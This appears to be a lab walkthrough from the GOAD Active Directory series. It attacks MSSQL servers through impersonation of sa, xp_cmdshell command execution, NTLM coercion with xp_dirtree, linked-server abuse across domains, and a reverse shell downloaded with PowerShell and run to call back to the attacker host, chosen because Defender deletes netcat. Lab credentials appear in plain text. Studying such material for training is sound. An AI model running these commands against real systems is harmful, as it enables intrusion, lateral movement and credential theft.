GOAD-MSSQL

GOAD – part 7 – MSSQL

In the previous post (Goad pwning part6) we tried some attacks with ADCS activated on the domain. Now let’s take a step back, and go back on the castelblack.north.sevenkingdoms.local to take a look at the MSSQL server.

Before jump into this chapter, i have done some small configuration on the lab, to be sure you get it, you should pull the updates and play : ansible-playbook servers.yml to get the last mssql configuration.

  • This modifications are:
    • arya.stark execute as user dbo impersonate privilege on msdb
    • brandon.stark impersonate on jon.snow

Enumerate the MSSQL servers

Impacket GetUserSPNs.py

  • First let’s try to figure out the users with an SPN on an MSSQL server
GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople
  • And on essos domain
GetUserSPNs.py -target-domain essos.local north.sevenkingdoms.local/brandon.stark:iseedeadpeople

 

Nmap

nmap -p 1433 -sV -sC 192.168.56.10-23

Two servers answer :

  • castelblack.north.sevenkingdoms.local

 

  • braavos.essos.local : the result is identical as castelblack.

CrackMapExec

  • Let’s try with crackmapexec
./cme mssql 192.168.56.22-23

 

  • Now we could try with the user samwell.tarly
./cme mssql 192.168.56.22 -u samwell.tarly -p Heartsbane -d north.sevenkingdoms.local

 

  • As we can see we got an access to the database

Impacket

We connect to the mssql server with the following command :

python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
  • And type help:
       lcd {path}                 - changes the current local directory to {path}
       exit                       - terminates the server process (and this session)
       enable_xp_cmdshell         - you know what it means
       disable_xp_cmdshell        - you know what it means
       enum_db                    - enum databases
       enum_links                 - enum linked servers
       enum_impersonate           - check logins that can be impersonate
       enum_logins                - enum login users
       enum_users                 - enum current db users
       enum_owner                 - enum db owner
       exec_as_user {user}        - impersonate with execute as user
       exec_as_login {login}      - impersonate with execute as login
       xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
       xp_dirtree {path}          - executes xp_dirtree on the path
       sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
       use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
       ! {cmd}                    - executes a local shell cmd
       show_query                 - show query
       mask_query                 - mask query
    
  • I added some new entries to the database : enum_db/enum_links/enum_impersonate/enum_login/enum_owner/exec_as_user/exec_as_login/use_link/show_query/mask_query
  • Let’s start the enumeration :
enum_logins
  • This launch the following query (roles value meaning can be show here)
select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin, 
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin 
from  master.sys.server_principals r 
left join master.sys.syslogins sl on sl.sid = r.sid 
where r.type in ('S','E','X','U','G')
  • We see only a basic view as we are a simple user

impersonate – execute as login

  • Let’s enumerate impersonation values:
enum_impersonate
  • This launch the following queries:
SELECT 'LOGIN' as 'execute as','' AS 'database', 
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor' 
FROM sys.server_permissions pe 
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id 
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
  • The previous command list all login with impersonation permission
  • This launch also the following command on each databases :
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor' 
FROM sys.database_permissions pe 
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id 
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
  • The previous command list all users with impersonation permission

What is the hell ? login and user, what is the difference ?

  • A “Login” grants the principal entry into the SERVER
  • A “User” grants a login entry into a single DATABASE
  • I found out an image who explain it well and also a very nice summary here

“SQL Login is for Authentication and SQL Server User is for Authorization. Authentication can decide if we have permissions to access the server or not and Authorization decides what are different operations we can do in a database. Login is created at the SQL Server instance level and User is created at the SQL Server database level. We can have multiple users from a different database connected to a single login to a server.”

 

  • Ok let see the result :

 

  • Ok samwell got login impersonation to the user sa.
  • So we can impersonate sa with execute as login and execute commands with xp_cmdshell
exec_as_login sa
enable_xp_cmdshell
xp_cmdshell whoami
  • This launch the following commands:
execute as login='sa';
exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
  • And we get a command execution !

 

  • Let’s continue our enumeration as login sa this time:
enum_logins

 

  • As we can see with sa login we see a lot more things. And we can see that jon.snow is sysadmin on the mssql server
  • Let’s see if there is others impersonation privileges:
enum_impersonate

 

  • As sysadmin user (sa), we can see all the information in the database and so the others users with impersonation privileges.
  • Another way to get in could be to access as brandon.stark and do execute as login on user jon.snow.

impersonate – execute as user

  • We launch a connection to the db as arya.stark :
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
  • if we use master db and impersonate user dbo we can’t get a shell
use master
execute as user = "dbo"
exec master..xp_cmdshell 'whoami'

 

  • but our user also got impersonate user privilege on dbo user on database msdb

 

  • The difference between the two databases is that msdb got the trustworthy property set (default value on msdb).

 

  • With the trustworthy property we get a shell :

 

Coerce and relay

  • Mssql can also be use to coerce an NTLM authentication from the mssql server. The incoming connection will be from the user who run the mssql server.
  • In our case if we tale any user like hodor for example we can get an NTLM authentication
  • start responder responder -I vboxnet0
  • Connect with hodor (0 privilèges)
python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local
  • run a xp_dirtree command :
exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
  • And we get a connection back to our responder

 

  • This will work also with ntlmrelayx (like with a server running as administrator and with the same password on other servers). But on the lab, this kind of behavior is not setup by now.
  • Another SQL abuse we could try on the lab, is the usage of mssql trusted links.

Note that trusted link is also a forest to forest technique

  • To abuse the links let’s connect with jon.snow and use enum_links

.

impacket-mssqlclient -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow  dbo@master)> enum_links
[%] EXEC sp_linkedservers
SRV_NAME                 SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE           SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT
----------------------   ----------------   -----------   ----------------------   ------------------   ------------   -------
BRAAVOS                  SQLNCLI                          braavos.essos.local      NULL                 NULL           NULL
CASTELBLACK\SQLEXPRESS   SQLNCLI            SQL Server    CASTELBLACK\SQLEXPRESS   NULL                 NULL           NULL
[%] EXEC sp_helplinkedsrvlogin
Linked Server            Local Login      Is Self Mapping   Remote Login
----------------------   --------------   ---------------   ------------
BRAAVOS                  NULL                           1   NULL
BRAAVOS                  NORTH\jon.snow                 0   sa
CASTELBLACK\SQLEXPRESS   NULL                           1   NULL
SQL (NORTH\jon.snow  dbo@master)> use_link BRAAVOS
[%] EXEC ('select system_user as "username"') AT BRAAVOS
SQL >BRAAVOS (sa  dbo@master)> enable_xp_cmdshell
[%] EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
INFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(BRAAVOS\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell whoami
[%] EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS
output
-------------
essos\sql_svc
NULL
SQL >BRAAVOS (sa  dbo@master)> exec master.sys.xp_dirtree '\\192.168.56.107\demontlm',1,1
 [ cath with responder hash of essos\sql_svc ]

 

.

python3 mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local -show
SQL (NORTH\jon.snow  dbo@master)> enum_links
  • This play the following queries :
EXEC sp_linkedservers
EXEC sp_helplinkedsrvlogin

 

  • As we can see a linked server exist with the name BRAAVOS and a mapping exist with the user jon.snow and sa on braavos.
  • If we use the link we can get a command injection on braavos:
use_link BRAAVOS
enable_xp_cmdshell
xp_cmdshell whoami
  • This play the following MSSQL commands :
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS

 

  • We got a command injection on braavos.essos.local as essos\sql_svc
  • I have done the modifications on mssqlclient.py to be able to chain trusted_links. From this we can continue to another trusted link, etc…
  • Example :

 

Command execution to shell

  • We got command execution on castelblack and also on braavos. But now we want a shell to interact with the server.
  • To get a shell we can use a basic Powershell #3(base64) webshell from Online – Reverse Shell Generator , but this script do not bypass defender anymore in 2026, also nc64.exe is getting deleted after 5 sec after downloaing o.k, so let’s do it with rcat

.

SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell mkdir "c:\temp"
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell dir "c:\temp"
[%] EXEC ('exec master..xp_cmdshell ''dir "c:\temp"''') AT BRAAVOS
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell powershell -c "wget -usebasicparsing http://192.168.56.1/nc64.exe -o C:\temp\nc64.exe"
[%] EXEC ('exec master..xp_cmdshell ''powershell -c "wget -usebasicparsing http://192.168.56.1/nc64.exe -o C:\temp\nc64.exe"''') AT BRAAVOS


xp_cmdshell powershell -c "C:\temp\nc64.exe -e cmd 192.168.56.1 4444"
( helaas wordt nc64.exe verwijdert door defender ! dus zo geen revshell mogelijk )

working:
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell mkdir "c:\temp"
xp_cmdshell powershell -c "wget -usebasicparsing http://192.168.56.1/rcat_192.168.56.1_4444.exe -o C:\temp\rcat_192.168.56.1_4444.exe"
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell dir "c:\temp"
SQL >BRAAVOS (sa  dbo@master)> xp_cmdshell powershell -c "C:\temp\rcat_192.168.56.1_4444.exe"
[%] EXEC ('exec master..xp_cmdshell ''powershell -c "C:\temp\rcat_192.168.56.1_4444.exe"''') AT BRAAVOS
SQL >BRAAVOS (-@master)>

.

c:\AD\TOOLS>nc64.exe -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.23] 52883

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>
PS C:\Windows\system32> whoami
whoami
essos\sql_svc
PS C:\Windows\system32> hostname
hostname
braavos
PS C:\Windows\system32> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\Windows\system32>

.

  • we got a shell

.


.

playing with powerupsql

non-domained-joined-pc

PS > Set-Item wsman:\localhost\Client\TrustedHosts -value ‘*’ -Force

PS > Enter-PSSession -ComputerName castelblack -Credential jon.snow@north.sevenkingdoms.local

[winterfell]: PS C:\Users\robb.stark\Documents>

PS C:\AD\TOOLS\PowerUpSQL-master> Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLServerLink -Instance castelblack.north.sevenkingdoms.local -Verbose
Get-SQLServerLinkCrawl -Instance castelblack.north.sevenkingdoms.local -Verbose
Get-SQLServerLinkCrawl -Instance castelblack.north.sevenkingdoms.local -Query ‘exec master..xp_cmdshell “whoami”‘

.

[castelblack]: PS C:\ad\TOOLS\PowerUpSQL-master> Import-Module .\PowerUpSQL.ps1
[castelblack]: PS C:\ad\TOOLS\PowerUpSQL-master> Get-SQLInstanceDomain
[castelblack]: PS C:\ad\TOOLS\PowerUpSQL-master> Get-SQLServerLink -Instance castelblack.north.sevenkingdoms.local -Verbose
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.


ComputerName           : castelblack.north.sevenkingdoms.local
Instance               : castelblack.north.sevenkingdoms.local
DatabaseLinkId         : 0
DatabaseLinkName       : CASTELBLACK\SQLEXPRESS
DatabaseLinkLocation   : Local
Product                : SQL Server
Provider               : SQLNCLI
Catalog                :
LocalLogin             : Uses Self Credentials
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : False
modify_date            : 4/8/2026 1:09:09 AM

ComputerName           : castelblack.north.sevenkingdoms.local
Instance               : castelblack.north.sevenkingdoms.local
DatabaseLinkId         : 1
DatabaseLinkName       : BRAAVOS
DatabaseLinkLocation   : Remote
Product                :
Provider               : SQLNCLI
Catalog                :
LocalLogin             : Uses Self Credentials
RemoteLoginName        :
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 4/8/2026 2:49:46 AM

ComputerName           : castelblack.north.sevenkingdoms.local
Instance               : castelblack.north.sevenkingdoms.local
DatabaseLinkId         : 1
DatabaseLinkName       : BRAAVOS
DatabaseLinkLocation   : Remote
Product                :
Provider               : SQLNCLI
Catalog                :
LocalLogin             : NORTH\jon.snow
RemoteLoginName        : sa
is_rpc_out_enabled     : True
is_data_access_enabled : True
modify_date            : 4/8/2026 2:49:46 AM



[castelblack]: PS C:\ad\TOOLS\PowerUpSQL-master> Get-SQLServerLinkCrawl -Instance castelblack.north.sevenkingdoms.local -Verbose
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.
VERBOSE: --------------------------------
VERBOSE:  Server: CASTELBLACK\SQLEXPRESS
VERBOSE: --------------------------------
VERBOSE:  - Link Path to server: CASTELBLACK\SQLEXPRESS
VERBOSE:  - Link Login: NORTH\jon.snow
VERBOSE:  - Link IsSysAdmin: 1
VERBOSE:  - Link Count: 1
VERBOSE:  - Links on this server: BRAAVOS
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.
VERBOSE: --------------------------------
VERBOSE:  Server: BRAAVOS\SQLEXPRESS
VERBOSE: --------------------------------
VERBOSE:  - Link Path to server: CASTELBLACK\SQLEXPRESS -> BRAAVOS
VERBOSE:  - Link Login: sa
VERBOSE:  - Link IsSysAdmin: 1
VERBOSE:  - Link Count: 1
VERBOSE:  - Links on this server: CASTELBLACK
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Success.
VERBOSE: castelblack.north.sevenkingdoms.local : Connection Failed.
VERBOSE: --------------------------------
VERBOSE:  Server: Broken Link
VERBOSE: --------------------------------
VERBOSE:  - Link Path to server: CASTELBLACK\SQLEXPRESS -> BRAAVOS -> CASTELBLACK
VERBOSE:  - Link Login:
VERBOSE:  - Link IsSysAdmin:
VERBOSE:  - Link Count: 0
VERBOSE:  - Links on this server:


Version     : SQL Server 2019
Instance    : CASTELBLACK\SQLEXPRESS
CustomQuery :
Sysadmin    : 1
Path        : {CASTELBLACK\SQLEXPRESS}
User        : NORTH\jon.snow
Links       : {BRAAVOS}

Version     : SQL Server 2019
Instance    : BRAAVOS\SQLEXPRESS
CustomQuery :
Sysadmin    : 1
Path        : {CASTELBLACK\SQLEXPRESS, BRAAVOS}
User        : sa
Links       : {CASTELBLACK}

Version     :
Instance    : Broken Link
CustomQuery :
Sysadmin    :
Path        : {CASTELBLACK\SQLEXPRESS, BRAAVOS, CASTELBLACK}
User        :
Links       : {}


[castelblack]: PS C:\ad\TOOLS\PowerUpSQL-master>

.

.